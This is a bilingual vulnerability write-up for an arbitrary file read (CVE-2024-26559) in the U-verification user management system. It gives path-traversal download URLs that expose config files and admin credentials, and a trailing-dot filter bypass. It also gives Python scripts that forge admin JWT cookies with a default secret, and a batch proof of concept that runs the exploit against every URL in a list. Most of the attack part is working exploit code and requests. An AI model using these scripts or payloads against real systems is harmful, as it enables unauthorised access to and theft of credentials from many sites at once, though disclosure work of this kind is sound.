U验证任意文件读取(CVE-2024-26559)

中文:

U验证网络用户管理系统存在任意文件读取漏洞

搜索引擎: body=”U用户验证系统1.0”

官网: https://user.uverif.com/

Github: https://github.com/51154393/uverif

Gitee: https://gitee.com/dagg/uverif

后台任意文件读取

当前最新测试版本为v2.0.4-beta,正式发布版本为v2.0,均存在此类漏洞

image-20240218153356759

其漏洞点在于登录后台后生成卡密导出的下载处

img

http://127.0.0.1/admin/download?path=./app/data/kami/202401210556174.txt

img

修改路径即可构造任意文件读取, “./“代表当前目录,可读取数据库配置文件,当前管理员账户密码等

http://127.0.0.1/admin/download?path=./config/admin.php

http://127.0.0.1/admin/download?path=./config/config.php

img

img

查看源码

https://github.com/51154393/uverif/blob/main/Ue/tools/download.php

img

这是一个PHP命名空间为Ue\tools的类download的代码。该类提供了一个静态方法download,用于下载文件。

方法接受两个参数:$filename表示要下载的文件路径,$downLoadName表示下载时保存的文件名(可选,默认为原始文件名)。

该方法的主要逻辑如下:

  1. 首先检查$downLoadName是否为空,如果为空则将其设为$filename。
  2. 检查$filename中是否包含.,如果不包含则返回false,表示无法确定文件类型。
  3. 设置响应的MIME类型为application/octet-stream,表示通用的二进制文件类型。
  4. 使用fopen函数以只读方式打开文件,并通过fread函数读取文件的内容。
  5. 关闭文件句柄。
  6. 判断客户端的HTTP_USER_AGENT中是否包含”MSIE”,如果是,则设置一系列响应头信息,包括Content-Type、Content-Disposition等,以支持在IE浏览器中下载文件。
  7. 如果不是IE浏览器,则设置另一组响应头信息。
  8. 最后使用exit函数输出文件内容,并结束脚本的执行。

当前搭建环境为Windows系统且检查$filename中是否包含”.”,所以尝试读取win.ini文件

C:\Windows\win.ini

img

尝试读取hosts文件,检查“.”所以在hosts文件后加“.”

原理是Windows系统默认删除文件后缀的“.”和空格。若网站后端过滤时没有过滤末尾的点,便可进行绕过。

C:\Windows\System32\drivers\etc\hosts.

img

尝试读取linux系统下文件

/etc/resolv.conf

img

前台任意文件读取

尝试扩大危害,将漏洞升级

观察 Cookie 字段中 admcookies 为 jwt 加密,尝试解密

img

查看源码分析构造

https://github.com/51154393/uverif/blob/main/Ue/tools/Jwt.php

img

JWT(JSON Web Token)是一种用于身份验证和授权的开放标准。它由三部分组成:头部(header)、载荷(payload)和签名(signature)。

在给定的代码中,JWT的参数生成如下:

  1. 头部(header):使用算法HS256(HMAC SHA-256)生成签名,在代码中表示为’alg’ => ‘HS256’。
  2. 载荷(payload):包含了一些声明信息,可根据需要自定义。在代码中,载荷包含以下字段:
  • iss:表示该JWT的签发者。
  • iat:表示签发时间,使用time()函数获取当前时间。
  • exp:表示过期时间,当前时间加上24小时。
  • nbf:该时间之前不接收处理该Token。
  • sub:表示面向的用户,默认为当前请求的域名。
  • jti:表示该Token的唯一标识,使用md5(uniqid(‘JWT’) . time())生成。
  • claim:表示自定义数据,可根据需要设置。
  1. 签名(signature):使用密钥(key)对头部和载荷进行签名生成。签名算法使用HS256,通过调用self::signature()方法实现。

最终,通过将base64编码后的头部、载荷和签名拼接在一起,并用”.”分隔,形成JWT Token。

用python生成Cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import hashlib
import time
import jwt
import re
import requests

one_day = 24 * 60 * 60 # 一天的秒数
# 生成头部
header = {
"alg": "HS256",
"typ": "JWT"
}
# 使用密钥进行签名
secret = "your-256-bit-secret"

url = input("请输入URL(如 http://127.0.0.1:888/): ") # 接收用户输入的URL

try:
response = requests.post(url + "/admin.php", verify=False, timeout=10, allow_redirects=False)
if response.status_code == 302:
session_id = response.cookies.get('PHPSESSID')
else:
print(f"获取{url}响应失败")
except requests.exceptions.Timeout:
print(f"{url} 请求超时")
except requests.exceptions.RequestException as e:
print(f"无法连接到{url}: {e}")

unique_id = hashlib.md5(str(time.time()).encode('utf-8')).hexdigest()

sub = re.sub(r'^https?://', '', url) # 去除协议部分
sub = re.sub(r'/$', '', sub) # 去除末尾斜杠
print(sub)

# 生成载荷
payload = {
"iss": "admin",
"iat": int(time.time()),
"exp": int(time.time()) + one_day, # 过期时间为当前时间后一天
"nbf": int(time.time()), # 生效时间为当前时间
"sub": sub,
"jti": unique_id,
"claim": None
}

token = jwt.encode(payload, secret, algorithm="HS256", headers=header)
print("Cookie: " + f'PHPSESSID={session_id}; admcookies={token}; appid=1000')

image-20240223124816765

抓取登陆数据包,替换生成的Cookie并发包

http://127.0.0.1/admin.php

image-20240223125215478

访问漏洞url,并替换Cookie发包即可

http://127.0.0.1/admin/download?path=./config/config.php

image-20240223125546385

批量检测POC:

url.txt存放检测的url,源码直接运行,无需修改

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import requests
import jwt
import hashlib
import re
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# 禁用不安全请求的警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

one_day = 24 * 60 * 60 # 一天的秒数
header = {
"alg": "HS256",
"typ": "JWT"
}
secret = "your-256-bit-secret"
vulnerable_urls = []


def get_session_id(url):
try:
response = requests.post(f"{url}/admin.php", verify=False, timeout=10, allow_redirects=False)
if response.status_code == 302:
return response.cookies.get('PHPSESSID')
else:
print(f"获取{url}响应失败")
except requests.exceptions.Timeout:
print(f"{url} 请求超时")
except requests.exceptions.RequestException as e:
print(f"无法连接到{url}: {e}")
return None


def generate_payload(url):
unique_id = hashlib.md5(str(time.time()).encode('utf-8')).hexdigest()
sub = re.sub(r'^https?://', '', url).rstrip('/')
payload = {
"iss": "admin",
"iat": int(time.time()),
"exp": int(time.time()) + one_day,
"nbf": int(time.time()),
"sub": sub,
"jti": unique_id,
"claim": None
}
return jwt.encode(payload, secret, algorithm="HS256", headers=header)


def exploit_vulnerability(url, session_id, token):
headers = {
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Cookie': f'PHPSESSID={session_id}; admcookies={token}; appid=1000',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8'
}
data = {'user': 'admin', 'password': 'admin'}
response = requests.post(f"{url}/admin.php", headers=headers, data=data, verify=False)

file = requests.get(f"{url}/admin/download?path=./config/admin.php", headers=headers, data=data,
allow_redirects=False, verify=False)
if "管理员配置" in file.text:
vulnerable_urls.append(url)
print(url,file.text)
with open('存在漏洞.txt', 'w') as file:
for vul_url in vulnerable_urls:
file.write(vul_url + '\n')


with open('url.txt') as file:
for url in file:
url = url.strip()
session_id = get_session_id(url)
if session_id:
token = generate_payload(url)
exploit_vulnerability(url, session_id, token)

img

English:

There is an arbitrary file reading vulnerability in the U-verification network user management system

search engine: body=”U用户验证系统1.0”

Official website: https://user.uverif.com/

Github: https://github.com/51154393/uverif

Gitee: https://gitee.com/dagg/uverif

Read any file in the background

The latest test version is v2.0.4-beta and the officially released version is v2.0, both of which have such vulnerabilities.

image-20240218153356759

The vulnerability lies in the download place where the card password is exported after logging in to the backend.

img

http://127.0.0.1/admin/download?path=./app/data/kami/202401210556174.txt

img

Modify the path to construct any file to read, “./“ represents the current directory, and can read the database configuration file, current administrator account password, etc.

http://127.0.0.1/admin/download?path=./config/admin.php

http://127.0.0.1/admin/download?path=./config/config.php

img

img

View source code

https://github.com/51154393/uverif/blob/main/Ue/tools/download.php

img

This is a code for class download in the PHP namespace Ue\tools. This class provides a static method download for downloading files.
The method accepts two parameters: $filename represents the path of the file to be downloaded, $downLoadName represents the file name saved during downloading (optional, defaults to the original file name).
The main logic of this method is as follows:

  1. First check whether $downLoadName is empty, and if it is empty, set it to $filename.
  2. Check whether $filename contains ., if not, return false, indicating that the file type cannot be determined.
  3. Set the response MIME type to application/octet-stream, which represents a common binary file type.
  4. Use the fopen function to open the file in read-only mode, and read the contents of the file through the fread function.
  5. Close the file handle.
  6. Determine whether the client’s HTTP_USER_AGENT contains “MSIE”. If so, set a series of response header information, including Content-Type, Content-Disposition, etc., to support downloading files in the IE browser.
  7. If it is not an IE browser, set another set of response header information.
  8. Finally, use the exit function to output the file content and end the execution of the script.

The current build environment is a Windows system and check whether $filename contains “.”, so try to read the win.ini file

C:\Windows\win.ini

img

Try to read the hosts file and check “.” so add “.” after the hosts file.

The principle is that the Windows system deletes the “.” and spaces in the file suffix by default. If the back-end filtering of the website does not include the dot at the end of the filter, it can be bypassed.

C:\Windows\System32\drivers\etc\hosts.

img

Try to read files under linux system

/etc/resolv.conf

img

Read any file in the foreground

Try to expand the harm and upgrade the vulnerability

Observe that admcookies in the Cookie field is encrypted by jwt and try to decrypt it.

img

View source code analysis structure

https://github.com/51154393/uverif/blob/main/Ue/tools/Jwt.php

img

JWT (JSON Web Token) is an open standard for authentication and authorization. It consists of three parts: header, payload and signature.

In the given code, the parameters of the JWT are generated as follows:

  1. Header: Use algorithm HS256 (HMAC SHA-256) to generate a signature, represented in the code as ‘alg’ => ‘HS256’.
  2. Payload: Contains some declaration information and can be customized as needed. In the code, the payload contains the following fields:
  • iat: indicates the issuance time, use the time() function to obtain the current time.
  • iss: Indicates the issuer of the JWT.
  • exp: indicates the expiration time, the current time plus 24 hours.
  • nbf: The Token will not be processed before this time.
  • sub: indicates the user targeted, defaulting to the currently requested domain name.
  • jti: represents the unique identifier of the Token, generated using md5(uniqid(‘JWT’) . time()).
  • claim: represents custom data, which can be set as needed.
  1. Signature: Use the key to generate signatures for the header and payload. The signature algorithm uses HS256 and is implemented by calling the self::signature() method.

Finally, the JWT Token is formed by splicing the base64-encoded header, payload and signature together and separating them with “.”.

Generate cookies using python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import hashlib
import time
import jwt
import re
import requests

one_day = 24 * 60 * 60 # 一天的秒数
# 生成头部
header = {
"alg": "HS256",
"typ": "JWT"
}
# 使用密钥进行签名
secret = "your-256-bit-secret"

url = input("请输入URL(如 http://127.0.0.1:888/): ") # 接收用户输入的URL

try:
response = requests.post(url + "/admin.php", verify=False, timeout=10, allow_redirects=False)
if response.status_code == 302:
session_id = response.cookies.get('PHPSESSID')
else:
print(f"获取{url}响应失败")
except requests.exceptions.Timeout:
print(f"{url} 请求超时")
except requests.exceptions.RequestException as e:
print(f"无法连接到{url}: {e}")

unique_id = hashlib.md5(str(time.time()).encode('utf-8')).hexdigest()

sub = re.sub(r'^https?://', '', url) # 去除协议部分
sub = re.sub(r'/$', '', sub) # 去除末尾斜杠
print(sub)

# 生成载荷
payload = {
"iss": "admin",
"iat": int(time.time()),
"exp": int(time.time()) + one_day, # 过期时间为当前时间后一天
"nbf": int(time.time()), # 生效时间为当前时间
"sub": sub,
"jti": unique_id,
"claim": None
}

token = jwt.encode(payload, secret, algorithm="HS256", headers=header)
print("Cookie: " + f'PHPSESSID={session_id}; admcookies={token}; appid=1000')

image-20240223124816765

Capture the login data packet and replace the generated Cookie concurrent packet

http://127.0.0.1/admin.php

image-20240223125215478

Visit the vulnerability URL and replace the cookie to send the package.

http://127.0.0.1/admin/download?path=./config/config.php

image-20240223125546385

Batch testing POC:

Try to write a python script to construct jwt and write a poc

url.txt stores the detected URL, and the source code can be run directly without modification.

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import requests
import jwt
import hashlib
import re
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# 禁用不安全请求的警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

one_day = 24 * 60 * 60 # 一天的秒数
header = {
"alg": "HS256",
"typ": "JWT"
}
secret = "your-256-bit-secret"
vulnerable_urls = []


def get_session_id(url):
try:
response = requests.post(f"{url}/admin.php", verify=False, timeout=10, allow_redirects=False)
if response.status_code == 302:
return response.cookies.get('PHPSESSID')
else:
print(f"获取{url}响应失败")
except requests.exceptions.Timeout:
print(f"{url} 请求超时")
except requests.exceptions.RequestException as e:
print(f"无法连接到{url}: {e}")
return None


def generate_payload(url):
unique_id = hashlib.md5(str(time.time()).encode('utf-8')).hexdigest()
sub = re.sub(r'^https?://', '', url).rstrip('/')
payload = {
"iss": "admin",
"iat": int(time.time()),
"exp": int(time.time()) + one_day,
"nbf": int(time.time()),
"sub": sub,
"jti": unique_id,
"claim": None
}
return jwt.encode(payload, secret, algorithm="HS256", headers=header)


def exploit_vulnerability(url, session_id, token):
headers = {
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Cookie': f'PHPSESSID={session_id}; admcookies={token}; appid=1000',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8'
}
data = {'user': 'admin', 'password': 'admin'}
response = requests.post(f"{url}/admin.php", headers=headers, data=data, verify=False)

file = requests.get(f"{url}/admin/download?path=./config/admin.php", headers=headers, data=data,
allow_redirects=False, verify=False)
if "管理员配置" in file.text:
vulnerable_urls.append(url)
print(url,file.text)
with open('存在漏洞.txt', 'w') as file:
for vul_url in vulnerable_urls:
file.write(vul_url + '\n')


with open('url.txt') as file:
for url in file:
url = url.strip()
session_id = get_session_id(url)
if session_id:
token = generate_payload(url)
exploit_vulnerability(url, session_id, token)

img